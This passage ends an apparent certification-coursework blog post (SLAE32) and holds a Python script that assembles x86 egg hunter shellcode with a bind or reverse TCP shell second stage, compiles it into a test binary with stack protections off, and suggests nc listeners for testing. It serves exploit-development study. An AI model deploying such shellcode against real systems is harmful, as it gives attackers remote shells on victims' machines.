payload_choices = ['bind', 'reverse']
parser.add_argument('-t', '--technique', type=str, help='Technique to use for egghunter.', choices=['access', 'sigaction'])
parser.add_argument('-x', '--payload', type=str, help='Type of payload to execute', choices=payload_choices)
parser.add_argument('-l', '--lhost', required=(payload_choices[1] in sys.argv), type=str, help='Remote IPv4 address for TCP reverse shell to connect to.', default="127.0.0.1")
parser.add_argument('-p', '--lport', type=int, help='Remote port for TCP reverse shell to connect to.', choices=range(0,65535), metavar="{0..65535}", default=4444)
parser.add_argument('-s', '--shellcode', help='Output shellcode only', action='store_true')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit()
if args.lhost:
try:
socket.inet_aton(args.lhost)
except:
print("[-] Invalid IP address entered. Exiting...")
sys.exit()
# Modify the host address and port in tcp_reverse_shell_x86.nasm
set_args(args.payload, args.lhost, args.lport)
shell_filename = "tcp_{}_shell_x86".format(args.payload)
if args.technique == "access":
egg_filename = "egg_hunter_access_2_x86"
elif args.technique == "sigaction":
egg_filename = "egg_hunter_sigaction_x86"
# Link and assemble egg hunter shellcode
os.system('nasm -f elf32 -o {0}.o {0}.nasm'.format(egg_filename))
os.system('ld -o {0} {0}.o'.format(egg_filename))
# Link and assembly second stage shellcode
os.system('nasm -f elf32 -o {}.o tmp.nasm'.format(shell_filename))
os.system('ld -o {0} {0}.o'.format(shell_filename))
# Egg pattern
egg = "\\x90\\x50\\x90\\x50\\x90\\x50\\x90\\x50"
# Dump the egg hunter shellcode using objdump
egghunter = gen_shellcode(egg_filename)
# Dump the second stage shellcode using objdump
shellcode = egg + gen_shellcode(shell_filename)
if args.shellcode:
# Print egg hunter shellcode
print_egghunter(egghunter, args.technique)
# Print second stage shellcode
print_shellcode(shellcode, args.payload, args.lhost, args.lport)
sys.exit()
# Place the generated egg hunter and second stage shellcode into C skselton file
set_shellcode(egghunter, shellcode)
# Compile C skeleton file
os.system('gcc -fno-stack-protector -z execstack tmp.c -o egg_hunter_{}_x86'.format(args.payload))
print("\n[*] Compiled shellcode for x86 egg hunter".format(args.technique, args.payload))
print("[*] Technique: {}(2)".format(args.technique))
print("[*] Payload: {} shell".format(args.payload))
if args.payload == "bind":
print("[*] Test by executing: ./egg_hunter_bind_x86 and connecting with nc {0} {1}".format(args.lhost, args.lport))
if args.payload == "reverse":
print("[*] Test by starting a listener with nc -nlvp {} and executing ./egg_hunter_reverse_x86".format(args.lport))
# Cleanup
os.system('rm tmp.nasm')
os.system('rm tmp.c')
os.system('rm *.o'.format(args.payload))
os.system('rm tcp_{}_shell_x86'.format(args.payload))
if args.technique == "access":
os.system('rm egg_hunter_access_2_x86')
elif args.technique == "sigaction":
os.system('rm egg_hunter_sigaction_x86')
if __name__ == "__main__":
main()
The Python, Assembly, and C source code for all three of the above egg hunter implementations can be found on my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-6483
All code was tested on 32-bit Kali Linux:
┌──(jack㉿kali)-[~/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux
In the next blog post, we will be covering how to implement a custom shellcode encoder in assembly.
Thanks for reading!